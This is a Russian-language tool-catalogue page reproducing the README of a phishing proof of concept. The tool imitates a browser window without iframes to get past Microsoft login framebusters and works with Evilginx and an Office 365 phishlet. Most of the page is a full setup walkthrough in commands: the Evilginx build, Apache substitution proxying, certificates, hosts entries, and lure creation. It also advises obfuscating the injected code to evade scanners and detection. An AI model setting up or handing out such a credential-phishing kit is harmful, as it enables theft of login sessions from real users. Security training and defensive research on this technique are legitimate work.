Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
frameless-bitb — Новый подход к Browser In The Browser (BITB) без использования iframe, позволяющий обходить традиционные framebusters, реализованные на страницах входа, таких как Microsoft, и использовать с Evilginx. | Kitploit
Инструменты/GitHubGitHub/waelmas/frameless-bitb
Инструменты фишингаОбход IDS/IPSЭксплуатация веб-приложенийФишингСоциальная инженерияОбучение и Образование
GitHubwaelmas/frameless-bitb

frameless-bitb

Новый подход к Browser In The Browser (BITB) без использования iframe, позволяющий обходить традиционные framebusters, реализованные на страницах входа, таких как Microsoft, и использовать с Evilginx.

Репозиторий
45573452 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Frameless BITB

Новый подход к концепции Browser In The Browser (BITB) без использования iframe, позволяющий обходить традиционные framebusters, реализованные на страницах входа, таких как Microsoft.

Этот POC-код создан для использования нового BITB с Evilginx и фишлетом Microsoft Enterprise.

Frameless-BITB-DEMO-compressed

Прежде чем углубляться, рекомендую сначала ознакомиться с моим выступлением на BSides 2023, где я впервые представил эту концепцию вместе с важными деталями о том, как создать «идеальную» фишинговую атаку. ▶ Смотреть видео

☕︎ Купи мне кофе

Видеоурок: 👇

Отказ от ответственности

Этот инструмент предназначен только для образовательных и исследовательских целей. Он демонстрирует метод Browser In The Browser (BITB) без использования iframe. Автор не несет ответственности за любое неправомерное использование. Используйте этот инструмент только законно и этично, в контролируемых средах для тестирования защиты кибербезопасности. Используя этот инструмент, вы соглашаетесь делать это ответственно и на свой страх и риск.

Предыстория — Зачем

За последний год я экспериментировал с различными трюками, чтобы создать «идеальную» фишинговую атаку. Типичные «красные флаги», на которые людей учат обращать внимание, — это срочность, угрозы, авторитет, плохая грамматика и т.д. Следующее, что люди сейчас проверяют, — это ссылка/URL веб-сайта, с которым они взаимодействуют, и они становятся очень осознанными в тот момент, когда их просят ввести конфиденциальные учетные данные, такие как электронная почта и пароли.

Вот тут и вступает в игру Browser In The Browser (BITB). Первоначально представленный @mrd0x, BITB — это концепция создания видимости правдоподобного окна браузера, внутри которого злоумышленник контролирует содержимое (путем отображения вредоносного сайта внутри iframe). При этом поддельная адресная строка поддельного окна браузера установлена на легитимный сайт, который ожидает пользователь. В сочетании с таким инструментом, как Evilginx, это становится идеальным рецептом для правдоподобной фишинговой атаки.

Проблема в том, что за последние месяцы/годы крупные сайты, такие как Microsoft, внедрили различные маленькие трюки под названием «framebusters/framekillers», которые в основном пытаются сломать iframe, которые могут использоваться для отображения прокси-сайта, как в случае с Evilginx.

Короче говоря, Evilginx + BITB для таких сайтов, как Microsoft, больше не работает. По крайней мере, не с BITB, основанным на iframe.

Что это

Browser In The Browser (BITB) без каких-либо iframe! Вот так просто.

Это означает, что теперь мы можем использовать BITB с Evilginx на таких сайтах, как Microsoft.

Evilginx здесь — это лишь яркий пример, но та же концепция может быть использована и для других сценариев.

Как это работает

Framebusters нацелены именно на iframe, поэтому идея состоит в том, чтобы создать эффект BITB без использования iframe и без нарушения исходной структуры/содержимого прокси-страницы. Этого можно достичь путем внедрения скриптов и HTML рядом с исходным содержимым с помощью поиска и замены (также известной как substitutions), а затем полагаясь исключительно на трюки HTML/CSS/JS для создания визуального эффекта. Мы также используем дополнительный трюк под названием «Shadow DOM» в HTML, чтобы разместить содержимое целевой страницы (фон) таким образом, чтобы оно не мешало прокси-контенту, что позволяет нам гибко использовать любую целевую страницу с небольшими дополнительными JS-скриптами.

Инструкции

Видеоурок

Thumbnail with YouTube Player

https://youtu.be/luJjxpEwVHI

Локальная ВМ:

Создайте локальную Linux ВМ. (Я лично использую Ubuntu 22 на VMWare Player или Parallels Desktop)

Обновите и обновите системные пакеты:

root@kitploit:~
sudo apt update && sudo apt upgrade -y

Настройка Evilginx:

Опционально:

Создайте нового пользователя evilginx и добавьте его в группу sudo:

sudo su

adduser evilginx

usermod -aG sudo evilginx

Проверьте, что пользователь evilginx находится в группе sudo:

su - evilginx

sudo ls -la /root

Перейдите в домашнюю директорию пользователя:

cd /home/evilginx

(Вы также можете все делать как sudo пользователь, так как мы все запускаем локально)

Установка Evilginx

Скачайте и соберите Evilginx: Официальная документация

Скопируйте файлы Evilginx в /home/evilginx

root@kitploit:~
wget https://go.dev/dl/go1.21.4.linux-amd64.tar.gz
root@kitploit:~
sudo tar -C /usr/local -xzf go1.21.4.linux-amd64.tar.gz
root@kitploit:~
nano ~/.profile

ДОБАВЬТЕ: export PATH=$PATH:/usr/local/go/bin

root@kitploit:~
source ~/.profile

Проверьте:

root@kitploit:~
go version

Установите make:

root@kitploit:~
sudo apt install make

Соберите Evilginx:

root@kitploit:~
cd /home/evilginx/evilginx2
root@kitploit:~
make

Создайте новую директорию для нашей сборки evilginx вместе с фишлетами и редиректорами:

root@kitploit:~
mkdir /home/evilginx/evilginx

Скопируйте сборку, фишлеты и редиректоры:

root@kitploit:~
cp /home/evilginx/evilginx2/build/evilginx /home/evilginx/evilginx/evilginx

cp -r /home/evilginx/evilginx2/redirectors /home/evilginx/evilginx/redirectors

cp -r /home/evilginx/evilginx2/phishlets /home/evilginx/evilginx/phishlets

Быстрое исправление брандмауэра Ubuntu (спасибо @kgretzky)

root@kitploit:~
sudo setcap CAP_NET_BIND_SERVICE=+eip /home/evilginx/evilginx/evilginx

В Ubuntu, если вы получаете ошибку Failed to start nameserver on: :53, попробуйте изменить этот файл

root@kitploit:~
sudo nano /etc/systemd/resolved.conf

отредактируйте/добавьте DNSStubListener в no > DNSStubListener=no

затем

root@kitploit:~
sudo systemctl restart systemd-resolved

Изменение конфигураций Evilginx:

Поскольку мы будем использовать Apache2 перед Evilginx, нам нужно заставить Evilginx слушать другой порт, отличный от 443.

root@kitploit:~
nano ~/.evilginx/config.json

ИЗМЕНИТЕ https_port с 443 на 8443

Установка Apache2 и включение модулей:

Установите Apache2:

root@kitploit:~
sudo apt install apache2 -y

Включите модули Apache2, которые будут использоваться: (Мы также отключаем модуль access_compat, так как он иногда вызывает проблемы)

root@kitploit:~
sudo a2enmod proxy
sudo a2enmod proxy_http
sudo a2enmod proxy_balancer
sudo a2enmod lbmethod_byrequests
sudo a2enmod env
sudo a2enmod include
sudo a2enmod setenvif
sudo a2enmod ssl
sudo a2ensite default-ssl
sudo a2enmod cache
sudo a2enmod substitute
sudo a2enmod headers
sudo a2enmod rewrite
sudo a2dismod access_compat

Запустите и включите Apache:

root@kitploit:~
sudo systemctl start apache2
root@kitploit:~
sudo systemctl enable apache2

Проверьте, работает ли Apache и сетевое взаимодействие ВМ, перейдя по IP-адресу ВМ из браузера на хост-машине.

Клонирование этого репозитория:

Установите git, если он еще не установлен:

root@kitploit:~
sudo apt -y install git

Клонируйте этот репозиторий:

root@kitploit:~
git clone https://github.com/waelmas/frameless-bitb
root@kitploit:~
cd frameless-bitb

Пользовательские страницы Apache:

Создайте каталоги для страниц, которые мы будем обслуживать:

  • home: (Опционально) Домашняя страница (на основном домене)
  • primary: Целевая страница (фон)
  • secondary: Окно BITB (передний план)
root@kitploit:~
sudo mkdir /var/www/home
sudo mkdir /var/www/primary
sudo mkdir /var/www/secondary

Скопируйте каталоги для каждой страницы:

root@kitploit:~
sudo cp -r ./pages/home/ /var/www/

sudo cp -r ./pages/primary/ /var/www/

sudo cp -r ./pages/secondary/ /var/www/

Опционально: Удалите страницу Apache по умолчанию (не используется):

root@kitploit:~
sudo rm -r /var/www/html/

Скопируйте фишлет O365 в каталог phishlets:

root@kitploit:~
sudo cp ./O365.yaml /home/evilginx/evilginx/phishlets/O365.yaml

Опционально: Чтобы настроить виджет Calendly на использование вашей учетной записи вместо той, что по умолчанию внутри, перейдите в pages/primary/script.js и измените CALENDLY_PAGE_NAME и CALENDLY_EVENT_TYPE.

Примечание о демо-обфускации: Как я объясняю в видео-руководстве, я включил минимальную обфускацию для текстового содержимого, такого как URL-адреса и заголовки BITB. Вы можете открыть демо-обфускатор, открыв demo-obfuscator.html в своем браузере. В реальном сценарии я настоятельно рекомендую обфусцировать большие фрагменты внедренного HTML-кода или использовать JS-трюки, чтобы избежать обнаружения и блокировки. Продвинутая версия, над которой я работаю, будет использовать комбинацию продвинутых трюков, чтобы сделать практически невозможным для сканеров снятие отпечатков/обнаружение кода BITB, так что следите за обновлениями.

Самоподписанные SSL-сертификаты:

Поскольку мы все запускаем локально, нам нужно сгенерировать самоподписанные SSL-сертификаты, которые будут использоваться Apache. Evilginx не понадобятся сертификаты, так как мы будем запускать его в режиме разработчика.

Мы будем использовать домен fake.com, который будет указывать на нашу локальную ВМ. Если вы хотите использовать другой домен, обязательно измените домен во всех файлах (файлы конфигурации Apache, JS-файлы и т.д.)

Создайте каталог и родительские каталоги, если они не существуют:

root@kitploit:~
sudo mkdir -p /etc/ssl/localcerts/fake.com/

Сгенерируйте SSL-сертификаты с помощью конфигурационного файла OpenSSL:

root@kitploit:~
sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
-keyout /etc/ssl/localcerts/fake.com/privkey.pem -out /etc/ssl/localcerts/fake.com/fullchain.pem \
-config openssl-local.cnf

Измените права доступа к закрытому ключу:

root@kitploit:~
sudo chmod 600 /etc/ssl/localcerts/fake.com/privkey.pem

Пользовательские конфигурации Apache:

Скопируйте пользовательские файлы substitution (основная часть нашего подхода):

root@kitploit:~
sudo cp -r ./custom-subs /etc/apache2/custom-subs

Важное примечание: В этом репозитории я включил 2 конфигурации substitution для Chrome на Mac и Chrome на Windows BITB. Обе имеют автоматическое обнаружение и стилизацию для светлой/темной темы и должны служить базовыми шаблонами для достижения того же для других комбинаций браузер/ОС. Поскольку я не включил автоматическое обнаружение комбинации браузер/ОС, используемой для посещения нашей фишинговой страницы, вам придется использовать одну из двух или реализовать свою собственную логику автоматического переключения.

Оба конфигурационных файла в /apache-configs/ одинаковы, только с разными директивами Include для включаемого файла substitution. (для каждого файла есть 2 ссылки)

root@kitploit:~
# Раскомментируйте тот, который вам нужен, и не забудьте перезапустить Apache после любых изменений:
#Include /etc/apache2/custom-subs/win-chrome.conf
Include /etc/apache2/custom-subs/mac-chrome.conf

Просто для упрощения я включил обе версии как отдельные файлы для этого следующего шага.

Windows/Chrome BITB:

root@kitploit:~
sudo cp ./apache-configs/win-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf

Mac/Chrome BITB:

root@kitploit:~
sudo cp ./apache-configs/mac-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf

Проверьте конфигурации Apache, чтобы убедиться в отсутствии ошибок:

root@kitploit:~
sudo apache2ctl configtest

Перезапустите Apache для применения изменений:

root@kitploit:~
sudo systemctl restart apache2

Изменение файла hosts:

Получите IP-адрес ВМ с помощью ifconfig и запишите его куда-нибудь для следующего шага.

Теперь нам нужно добавить новые записи в файл hosts, чтобы домен, используемый в этой демонстрации fake.com, и все используемые поддомены указывали на нашу ВМ, на которой запущены Apache и Evilginx.

В Windows:

Откройте Блокнот от имени администратора (Поиск > Блокнот > Правый клик > Запуск от имени администратора)

Нажмите на опцию Файл (слева вверху) и в адресной строке Проводника скопируйте и вставьте следующее:

C:\Windows\System32\drivers\etc\

Измените тип файлов (снизу справа) на «Все файлы».

Дважды щелкните файл с именем hosts

На Mac:

Откройте терминал и выполните следующее:

root@kitploit:~
sudo nano /private/etc/hosts

Теперь измените следующие записи (замените [IP] на IP вашей ВМ) и вставьте записи в конец файла hosts:

root@kitploit:~
# Local Apache and Evilginx Setup
[IP] login.fake.com
[IP] account.fake.com
[IP] sso.fake.com
[IP] www.fake.com
[IP] portal.fake.com
[IP] fake.com
# End of section

Сохраните и выйдите.

Теперь перезапустите браузер перед переходом к следующему шагу.

Примечание: На Mac используйте следующую команду для очистки кеша DNS:

sudo dscacheutil -flushcache; sudo killall -HUP mDNSResponder

Важное примечание:

Эта демонстрация создана с предоставленным фишлетом Office 365 Enterprise. Чтобы получить записи hosts, которые нужно добавить для другого фишлета, используйте phishlet get-hosts [ИМЯ_ФИШЛЕТА], но не забудьте заменить 127.0.0.1 на фактический локальный IP вашей ВМ.

Настройка доверия к самоподписанным SSL-сертификатам:

Поскольку мы используем самоподписанные SSL-сертификаты, наш браузер будет предупреждать нас каждый раз, когда мы пытаемся посетить fake.com, поэтому нам нужно заставить хост-машину доверять центру сертификации, подписавшему SSL-сертификаты.

Для этого шага проще следовать видеоинструкциям, но вот суть.

Откройте https://fake.com/ в вашем браузере Chrome.

Проигнорируйте предупреждение о небезопасном сайте и перейдите на страницу.

Нажмите на значок SSL > Подробнее > Экспортировать сертификат ВАЖНО: При сохранении имя должно заканчиваться на .crt, чтобы Windows открыл его правильно.

Дважды щелкните по нему > установить для текущего пользователя. НЕ выбирайте автоматическое размещение, вместо этого поместите сертификат в определенное хранилище: выберите "Trusted Root Certification Authorities".

На Mac: для установки только для текущего пользователя > выберите "Связка ключей: login" И нажмите "Просмотреть сертификаты" > сведения > доверие > Всегда доверять

Теперь ПЕРЕЗАПУСТИТЕ ваш браузер

Теперь вы должны иметь возможность посетить https://fake.com и увидеть домашнюю страницу без каких-либо SSL-предупреждений.

Запуск Evilginx:

На данный момент все должно быть готово, так что мы можем запустить Evilginx, настроить фишлет, создать нашу приманку и протестировать ее.

Опционально: Установите tmux (чтобы evilginx продолжал работать даже после закрытия сессии терминала. В основном полезно при работе на удаленной ВМ.)

root@kitploit:~
sudo apt install tmux -y

Запустите Evilginx в режиме разработчика (используя tmux, чтобы не потерять сессию):

root@kitploit:~
tmux new-session -s evilginx
root@kitploit:~
cd ~/evilginx/
root@kitploit:~
./evilginx -developer

(Для повторного подключения к сессии tmux используйте tmux attach-session -t evilginx)

Конфигурация Evilginx:

root@kitploit:~
config domain fake.com
root@kitploit:~
config ipv4 127.0.0.1

ВАЖНО: Установите режим черного списка Evilginx в NoAdd, чтобы избежать блокировки Apache, поскольку все запросы будут поступать от Apache, а не от фактического IP посетителя.

root@kitploit:~
blacklist noadd

Настройка фишлета и приманки:

root@kitploit:~
phishlets hostname O365 fake.com
root@kitploit:~
phishlets enable O365
root@kitploit:~
lures create O365
root@kitploit:~
lures get-url 0

Скопируйте URL приманки и посетите его из своего браузера (используйте гостевого пользователя в Chrome, чтобы не удалять все сохраненные/кэшированные данные между тестами).

Полезные ресурсы

Оригинальный BITB на основе iframe от @mrd0x: https://github.com/mrd0x/BITB

Курс Evilginx Mastery от создателя Evilginx @kgretzky: https://academy.breakdev.org/evilginx-mastery

Мое выступление на BSides 2023: https://www.youtube.com/watch?v=p1opa2wnRvg

Как защитить Evilginx с помощью Cloudflare и обфускации HTML: https://www.jackphilipbutton.com/post/how-to-protect-evilginx-using-cloudflare-and-html-obfuscation

Ресурсы Evilginx для Microsoft 365 от @BakkerJan: https://janbakker.tech/evilginx-resources-for-microsoft-365/

TODO

  • Создать скрипт(ы) для автоматизации большинства шагов
Скачать инструмент